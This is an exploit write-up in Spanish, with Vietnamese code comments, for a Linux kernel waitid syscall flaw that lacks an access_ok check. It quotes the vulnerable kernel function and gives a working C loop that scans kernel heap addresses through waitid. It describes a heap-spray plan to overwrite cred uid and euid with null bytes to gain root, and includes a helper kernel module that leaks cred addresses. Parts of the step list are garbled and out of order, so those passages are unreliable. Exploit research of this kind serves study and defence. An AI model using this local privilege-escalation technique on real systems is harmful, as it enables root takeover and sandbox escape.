
La llamada al sistema waitid en el kernel de Linux no validaba la dirección de destino utilizada. Esto podría permitir a un usuario local escribir en la memoria del kernel, lo que podría conducir a una escalada de privilegios en el dispositivo o a un escape del sandbox.
kernel/exit.c
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin(); // bản chất là gọi stac(), tạm thời tắt SMAP
unsafe_put_user(signo, &infop->si_signo, Efault); // <- thiếu access_ok() check trc khi gọi hàm này
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end(); // bản chất là gọi clac(), bật lại SMAP
return err;
Efault:
user_access_end();
return -EFAULT;
}
El error identificado aquí es la falta de verificación access_ok() antes de llamar a la función unsafe_put_user(). En versiones anteriores del kernel, el programa usaba la función put_user(), que incluía la llamada a la verificación access_ok().
put_user(x, void __user *ptr)
if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
return -EFAULT
user_access_begin()
*ptr = x
user_access_end()
Al usar la función unsafe_put_user(), el programa evita tener que activar y desactivar SMAP repetidamente en un corto período de tiempo al llamar a user_access_begin() / user_access_end(). La función access_ok() aquí comprueba la validez de la dirección ptr, asegurando que pertenece a la memoria del usuario, impidiendo que el usuario escriba en la memoria del kernel. Por lo tanto, si llamamos a la syscall waitid y el parámetro infop es una dirección del kernel, se desencadenará este error.
La falta de verificación access_ok() nos permite pasar una dirección del kernel como parámetro infop de waitid; luego, la syscall sobrescribirá esta dirección llamando a unsafe_put_user(). Una limitación aquí es que no podemos controlar qué se escribirá en la dirección del kernel que proporcionamos. Hay 6 campos utilizados para la escritura: signo, byte nulo, info.cause, info.pid con un valor máximo = 0x8000, info.uid, info.status (aunque es de tipo int32, solo tiene valores >0, <256). El campo más útil probablemente sea el byte nulo. Podemos usarlo para sobrescribir cred->euid y cred->uid. Para hacerlo, necesitamos conocer la dirección de estos dos valores.
Según kernel.org, la memoria virtual del espacio del kernel compartida entre todos los procesos comienza en 0xffff800000000000; sin embargo, desde 0xffff800000000000 hasta 0xffff87ffffffffff es "... guard hole, also reserved for hypervisor", por lo que comenzaremos el escaneo de memoria desde la dirección 0xffff880000000000. También hay que mencionar que podemos escanear la memoria porque unsafe_put_user() no causará un crash al acceder a direcciones no válidas. Esto ayuda a evitar que los "unprivileged users" hagan DoS al sistema pasando direcciones no válidas.
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
pid = fork();
if (pid > 0)
{
if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0)
{
printf("[+] Found %p\n", i);
break;
}
}
else if (pid == 0)
exit(0);
}

Ahora que conocemos la dirección del heap del kernel, el siguiente paso es determinar la dirección de la estructura cred.
Aunque conocemos la dirección del heap del kernel, esa dirección podría no ser el comienzo del heap. Por lo tanto, no podemos calcular la dirección exacta de la estructura Cred. En este punto usamos una técnica llamada heap spray.
geteuid(); si devuelve 0, significa que ese proceso se está ejecutando con privilegios de root -> bingo.waitid() usando la vulnerabilidad, adivinando la dirección de la estructura cred y sobrescribiendo cred->uid con null.Depurar para encontrar la dirección de la estructura cred de los procesos hijos lleva bastante tiempo, así que usé un módulo disponible para imprimir la dirección de cred->euid mediante printk().
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h> // for basic filesystem
#include <linux/proc_fs.h> // for the proc filesystem
#include <linux/seq_file.h> // for sequence files
static struct proc_dir_entry* jif_file;
static int
jif_show(struct seq_file *m, void *v)
{
return 0;
}
static int
jif_open(struct inode *inode, struct file *file)
{
printk("EUID: %p\n", ¤t->cred->euid);
return single_open(file, jif_show, NULL);
}
static const struct file_operations jif_fops = {
.owner = THIS_MODULE,
.open = jif_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
static int __init
jif_init(void)
{
jif_file = proc_create("jif", 0, NULL, &jif_fops);
if (!jif_file) {
return -ENOMEM;
}
return 0;
}
static void __exit
jif_exit(void)
{
remove_proc_entry("jif", NULL);
}
module_init(jif_init);
module_exit(jif_exit);
MODULE_LICENSE("GPL");

Me di cuenta de que hay direcciones con un patrón similar; incluso después de reiniciar, el offset de estas direcciones sigue siendo similar. Por lo tanto, decidí elegir una dirección y luego sumarle pagesize en un bucle para adivinar la dirección de la estructura cred.

Vídeo demo de la explotación IMAGE ALT TEXT HERE
heap addr founded + offset; es necesario reducir el offset para que pueda usarse en más versiones. Sin embargo, esto significa un tiempo de ataque más largo y aumenta la probabilidad de que el kernel entre en pánico/fallo (panic/crash) debido a que puede escribir en otras estructuras importantes del heap.access_ok().